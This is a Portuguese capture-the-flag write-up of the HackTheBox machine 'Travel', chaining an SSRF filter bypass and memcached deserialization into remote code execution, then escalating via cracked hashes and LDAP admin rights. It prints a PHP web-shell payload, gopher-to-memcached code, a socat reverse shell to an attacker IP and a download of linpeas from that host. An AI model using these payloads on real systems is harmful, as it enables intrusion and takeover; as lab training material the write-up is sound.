HackTheBox. Viagem de passagem. Memcache + SSRF = RCE, LPE sobre LDAP



Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .



Neste artigo, descobrimos como obter RCE usando PHP memcache e SSRF, cavar no banco de dados e ver o que é perigoso para o administrador LDAP.



A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.



Informação organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tem um endereço IP de 10.10.10.189, que adicionei a / etc / hosts.



10.10.10.189 	travel.htb


A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.



nmap -A travel.htb -p22,80,443






Assim, temos acesso ao serviço SSH e ao servidor web nginx. A varredura mostra a qual DNS o certificado se destina. Vamos adicioná-los a / etc / hosts.



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


Vamos dar uma olhada nesses sites. No primeiro, encontramos a descrição do site.







O segundo é mais interessante. Imediatamente vemos que este é um CMS WordPress e encontramos o formulário de pesquisa.







Verificando rapidamente o site com wpscan, não encontramos nada. Vamos mais longe e o terceiro site encontra um erro 403. Vamos percorrer os diretórios. Estou usando o gobuster para isso. Nos parâmetros, especificamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






Encontre .git. Podemos copiar no repositório.







Isso pode ser feito com uma variedade de programas, eu uso o script rip-git .



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






E no diretório atual veremos os arquivos resultantes e o repositório .git.







Usamos gitk para trabalhar com .git.







Existe um changelog, a partir do qual notamos a presença de um cache e verificações de segurança.







No arquivo rss_template.php, marque memcache, a presença do parâmetro url e a depuração.







O parâmetro deve conter a string “custom_feed_url”. E muito provavelmente um pedido será feito neste endereço.







A página RSS estava em blog.travel.htb .







Vamos iniciar um servidor web local e acessar o awesome-rss, passando nosso IP como parâmetro.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






E observamos que as suposições estão corretas. Deve-se observar que, se o url estiver ausente, www.travel.htb / newsfeed / customfeed.xml será selecionado .



Ponto de entrada



O README diz para mover esses arquivos para wp-content / themes / thirtytwenty (eu percebi isso ao procurar pelo arquivo debug.php). E o arquivo de depuração pode ser encontrado lá.











Então, tudo isso é interessante e ainda não está claro, mas parecem dados serializados. Vamos coletar uma coisa de todas as informações:
  1. Precisamos entrar em contato com o servidor e obter o arquivo feed.xml.



  2. A função para a qual o url é passado usa a API SimplePie (que tem boa documentação ) e memcache. Esta função retornará um objeto simplepie.



  3. A função url_get_contents é fornecida em template.php. Nesse caso, há uma verificação, o que não deve nos dar a oportunidade de acessar os arquivos no servidor. Mas o filtro SSRF não está correto o suficiente, pois também podemos acessar localhost usando os endereços 127.0.1.1, 127.1, 127.000.0.1, etc.



  4. Em seguida, as informações do arquivo feed.xml são exibidas.
  5. Também existe uma classe TemplateHelper e uma função init () que grava os dados transferidos no arquivo especificado.





Resta descobrir em qual arquivo do diretório de logs os dados serializados são gravados. Vejamos a documentação:







Assim, o caminho é interpretado como MD5 (MD5 (url) + ": spc"). Vamos verificar e para isso baixamos o arquivo xml da url padrão.



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


Agora vamos voltar para a página RSS, passando o arquivo baixado para a URL.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


E obtemos os dados serializados.



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






E agora, usando a fórmula acima, calculamos o caminho interpretado.







E os primeiros 10 bytes combinados! É aqui que o vetor de ataque é delineado - PHP memcached e SSRF. Uma pesquisa no google me trouxe a este script .







Você só precisa alterar o código do nosso caso. Vamos criar dados serializados.



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


Assim, iremos escrever o código <? Php system ($ _ REQUEST ["cmd"]); para o arquivo ralf.php ao desserializar. Acima de tudo, estamos interessados ​​na chave xct_key, que já podemos calcular.







Em seguida, obtemos o seguinte código para criar uma carga.



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


E vamos desserializar.



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


O código completo é apresentado a seguir (como sempre uma foto).











Ok, vamos dar uma caminhada normal. Mas como havia problemas com o python pty, vamos criar um shell de backconnect usando socat. Vamos iniciar o ouvinte no cliente:



socat file:`tty`,raw,echo=0 tcp-listen:4321


E se conectar a partir do servidor:



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






DO UTILIZADOR



Normalmente, nesses casos, você deve verificar o banco de dados do usuário, usando o wordpress. Vamos encontrar o arquivo wp-config.php.







Com essas credenciais, vamos conectar ao mysql, nossa tarefa é encontrar a tabela wp_users.



mysql -h 127.0.0.1 -u wp -p


Vejamos os bancos de dados.







Vamos dar uma olhada no banco de dados wp.











E encontramos a tabela necessária.







É verdade que, ao tentar usar a força bruta do hash, falhamos. Essas senhas não existem. Então baixei o script linpeas para a máquina e fiz algumas enumerações básicas.



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


Não encontramos nada de especial, exceto que estamos no contêiner do docker.







Mas este script não verifica o diretório opt. E já que acabamos de encontrar um backup do banco de dados.







Se olharmos para as linhas deste arquivo, há uma entrada sobre dois usuários no final.







Mas o segundo é simplesmente brutal.







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






E com a senha encontrada, conecte-se via ssh.







RAIZ



Também encontramos dois arquivos interessantes no diretório de trabalho do usuário - .ldaprc e .viminfo.







Vamos ver o que tem dentro. Assim, no primeiro arquivo encontramos o registro ldap do nosso usuário.







E na segunda sua senha ldap.







Vamos dar uma olhada. Chame ldapwhoami com as opções -x (autenticação simples) e -w (senha).



ldapwhoami -x -w Theroadlesstraveled






Vemos uma entrada do arquivo .ldaprc. Vamos pedir informações.



ldapsearch -x -w Theroadlesstraveled










Assim, obtemos uma lista de usuários e sabemos que somos um administrador LDAP. Ou seja, podemos criar uma chave SSH para qualquer usuário, alterar a senha e entrar no grupo sudo! Grupo Sudo - 27.







Vamos criar um par de chaves.







Agora vamos criar um arquivo de configuração.







Vamos aplicá-los ao usuário Frank.



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






E conectar via SSH



ssh -i id_rsa frank@travel


Agora vamos usar sudo com nossa senha.







Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.



All Articles